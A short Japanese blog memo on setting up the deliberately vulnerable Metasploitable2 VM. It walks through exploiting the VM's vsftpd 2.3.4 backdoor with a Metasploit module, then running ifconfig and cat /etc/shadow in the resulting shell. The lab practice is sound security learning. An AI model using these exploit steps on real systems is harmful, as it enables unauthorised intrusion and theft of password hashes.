作業の備忘録がてら書いているブログです。
誰かの助けになれば幸いです。

Metasploitableとは

Metasploitは脆弱性をついた攻撃を行うツールで、ペネトレーションテストなどに使われます。
https://ja.wikipedia.org/wiki/Metasploit

Metasploitableは脆弱な状態にセットアップされたVMで、Metasploitのテストを行うためのターゲットとしてすぐに利用することができます。
http://kaworu.jpn.org/security/Metasploitable

Metasploitableのセットアップ

下記のURLからダウンロードし、回答したものをVMware Workstation PlayerやVirtual Boxで開きます。
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
→ユーザアカウントmsfadmin、パスワードmsfadmin
これで、脆弱なVMイメージが稼働している状態となります。
今回はMetasploitable2　というバージョンのものを使っています。

Metasploitableの動作テスト

Kali linuxなどでMetasploitを起動します

今回はvsftpdの欠陥を利用します（vsftpd_234_backdoorというペイロードをつかいます）

下記のようなコマンドで攻撃を実行します
use exploit/unix/ftp/vsftpd_234_backdoor set RHOST 攻撃先のIP exploit

Command shell session 1 openedと表示され、コマンド入力ができるようになっています。
ifconfigやcat /etc/shadowなどを打ち込み、ターゲットの情報が取得できていることを確認します。